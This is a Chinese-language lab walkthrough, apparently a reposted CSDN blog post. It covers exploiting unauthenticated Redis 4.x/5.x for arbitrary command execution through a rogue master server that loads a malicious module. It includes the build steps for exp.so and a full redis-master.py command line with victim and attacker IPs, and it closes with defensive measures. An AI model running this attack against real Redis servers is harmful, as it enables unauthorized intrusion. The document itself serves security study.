Redis 4.x/5.x 未授权访问任意命令执行

一、漏洞介绍

1.1 漏洞简介

  Redis是常用基于内存的Key-Value数据库,默认绑定于6379端口,如果没有进行相关限制策略(添加防火墙规则避免其它非信任来源IP访问等)会将Redis暴露在公网上,Redis默认没有密码认证,导致任意用户可以访问Redis,从而使用master/slave模式加载远程模块,通过动态链接库方式执行任意命令。

  Redis主从同步是在Redis4.x之后,新增了模块功能,通过外部扩展可以在Redis中实现一个新的Redis命令,通过c语言编译so文件。

1.2 影响版本

  • Redis < 4.x/5.0.5

1.3 漏洞指纹

  • port 6379

二、环境搭建

  • 受害者:192.168.159.129(vulhub)
  • 攻击者:192.168.123.192

》》进入到环境对应目录,执行:
在这里插入图片描述
》》查看redis服务是否启动
在这里插入图片描述

三、攻击过程

3.1 信息收集

》》查看对方是否使用了redis(开启了6379端口)
在这里插入图片描述
》》攻击者使用redis客户端尝试连接,验证是否无需认证(成功连接,并执行了info命令)
在这里插入图片描述
》》使用已公开的exp进行执行命令

》》编译项目RedisModulesSDK中的模块
》》cd RedisModulesSDK
》》make
》》生成exp.so文件
在这里插入图片描述
》》执行命令

python redis-master.py -r 192.168.159.129 -p 6379 -L 192.168.123.192 -P 19111 -f exp.so -c "uname -a"

在这里插入图片描述

optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST target host
-p RPORT, --rport RPORT target redis port, default 6379
-L LHOST, --lhost LHOST rogue server ip
-P LPORT, --lport LPORT rogue server listen port, default 21000
-f FILE, --file FILE RedisModules to load, default exp.so
-c COMMAND, --command COMMAND Command that you want to execute
-a AUTH, --auth AUTH redis password

四、防御措施

  1. Redis添加密码验证
  2. Redis尽量不要在公网开放(限制来源IP)
  3. 使用高版本的Redis

猜你喜欢

转载自blog.csdn.net/Aaron_Miller/article/details/106681640